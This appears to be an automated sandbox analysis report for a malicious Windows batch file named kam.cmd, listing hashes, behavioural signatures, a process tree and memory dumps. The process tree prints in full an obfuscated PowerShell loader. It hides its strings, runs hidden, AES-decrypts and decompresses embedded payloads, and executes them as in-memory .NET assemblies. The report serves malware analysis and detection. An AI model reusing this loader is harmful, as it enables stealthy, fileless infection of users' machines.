d4f575cced861efb0d1d18469cc0ec6da2df483bfee7e1b22769f1d088e12dc4

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19-04-2024 07:38

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General

Target

google/kam.cmd
Size

63KB
MD5

8c278ad6dd06fbcd0a767e744b62c785
SHA1

e30a7793d54f89e1a364e0fbe710686c43a7be88
SHA256

7be0bbf4d2a43ff457f55453d03b1cd85b7541396f7823ae51003b271fa0b0bc
SHA512

36721787b046e00e3d183e7d83cdb3263ae151fd080e57e331e0f10667d04fca5412092249920f6566d5d8a640ecb819539103e1606599095be0af7fe9fd18b2
SSDEEP

1536:r5JAG4vBFdvhBqi69GQys/xQ+sNIh/tQW9odEd/cLl:jSBFthBqiyZQzNFW2Ll

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2748 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2748 powershell.exe

pid	process
2748	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2748	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 1712 wrote to memory of 2192	1712	cmd.exe	cmd.exe
PID 1712 wrote to memory of 2192	1712	cmd.exe	cmd.exe
PID 1712 wrote to memory of 2192	1712	cmd.exe	cmd.exe
PID 1712 wrote to memory of 2204	1712	cmd.exe	cmd.exe
PID 1712 wrote to memory of 2204	1712	cmd.exe	cmd.exe
PID 1712 wrote to memory of 2204	1712	cmd.exe	cmd.exe
PID 2204 wrote to memory of 2660	2204	cmd.exe	cmd.exe
PID 2204 wrote to memory of 2660	2204	cmd.exe	cmd.exe
PID 2204 wrote to memory of 2660	2204	cmd.exe	cmd.exe
PID 2204 wrote to memory of 1696	2204	cmd.exe	cmd.exe
PID 2204 wrote to memory of 1696	2204	cmd.exe	cmd.exe
PID 2204 wrote to memory of 1696	2204	cmd.exe	cmd.exe
PID 2204 wrote to memory of 2748	2204	cmd.exe	powershell.exe
PID 2204 wrote to memory of 2748	2204	cmd.exe	powershell.exe
PID 2204 wrote to memory of 2748	2204	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\google\kam.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1712

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
2⤵
PID:2192

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\google\kam.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:2204

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
3⤵
PID:2660

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\google\kam.cmd';$vsHK='IEHyinvoEHyikeEHyi'.Replace('EHyi', ''),'FrTbCNomTbCNBTbCNaseTbCN64TbCNStTbCNrTbCNiTbCNngTbCN'.Replace('TbCN', ''),'DecLWiromLWirprLWiresLWirsLWir'.Replace('LWir', ''),'EGsoAntrGsoAyPGsoAoiGsoAntGsoA'.Replace('GsoA', ''),'CCddPrCddPeatCddPeCddPDeCddPcrCddPyCddPpCddPtCddPoCddPrCddP'.Replace('CddP', ''),'EleyknqmeyknqnyknqtAtyknq'.Replace('yknq', ''),'RigKHeigKHadigKHLiigKHnigKHeigKHsigKH'.Replace('igKH', ''),'LoyPPNadyPPN'.Replace('yPPN', ''),'ScvpNplcvpNicvpNtcvpN'.Replace('cvpN', ''),'GVJoFeVJoFtCuVJoFrVJoFrenVJoFtPVJoFroVJoFcVJoFeVJoFsVJoFsVJoF'.Replace('VJoF', ''),'MapAReinMpAReodpAReupARelepARe'.Replace('pARe', ''),'TrPOEJaPOEJnsPOEJfPOEJoPOEJrmPOEJFiPOEJnPOEJalPOEJBPOEJloPOEJckPOEJ'.Replace('POEJ', ''),'CoBJvMpyBJvMToBJvM'.Replace('BJvM', ''),'ChNZxNanNZxNgNZxNeENZxNxNZxNtenNZxNsioNZxNnNZxN'.Replace('NZxN', '');powershell -w hidden;function NWhFr($gBdvJ){$ZqBKJ=[System.Security.Cryptography.Aes]::Create();$ZqBKJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ZqBKJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ZqBKJ.Key=[System.Convert]::($vsHK[1])('PjiHj+DTj3maw+urBkf9Nh81M9EC6ZbFd543+Tn5ybE=');$ZqBKJ.IV=[System.Convert]::($vsHK[1])('YcgYSr+goQk5oVoF0rwnDA==');$tqqey=$ZqBKJ.($vsHK[4])();$JyHFR=$tqqey.($vsHK[11])($gBdvJ,0,$gBdvJ.Length);$tqqey.Dispose();$ZqBKJ.Dispose();$JyHFR;}function daoWE($gBdvJ){$RzPzI=New-Object System.IO.MemoryStream(,$gBdvJ);$FsIer=New-Object System.IO.MemoryStream;$gxzOz=New-Object System.IO.Compression.GZipStream($RzPzI,[IO.Compression.CompressionMode]::($vsHK[2]));$gxzOz.($vsHK[12])($FsIer);$gxzOz.Dispose();$RzPzI.Dispose();$FsIer.Dispose();$FsIer.ToArray();}$neFXM=[System.IO.File]::($vsHK[6])([Console]::Title);$QFtfJ=daoWE (NWhFr ([Convert]::($vsHK[1])([System.Linq.Enumerable]::($vsHK[5])($neFXM, 5).Substring(2))));$vmyld=daoWE (NWhFr ([Convert]::($vsHK[1])([System.Linq.Enumerable]::($vsHK[5])($neFXM, 6).Substring(2))));[System.Reflection.Assembly]::($vsHK[7])([byte[]]$vmyld).($vsHK[3]).($vsHK[0])($null,$null);[System.Reflection.Assembly]::($vsHK[7])([byte[]]$QFtfJ).($vsHK[3]).($vsHK[0])($null,$null); "
3⤵
PID:1696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2748

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2748-4-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2748-5-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2748-6-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2748-7-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2748-9-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2748-8-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2748-10-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2748-11-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2748-12-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2748-13-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2748-14-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2748-15-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2748-16-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

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Analysis

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General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads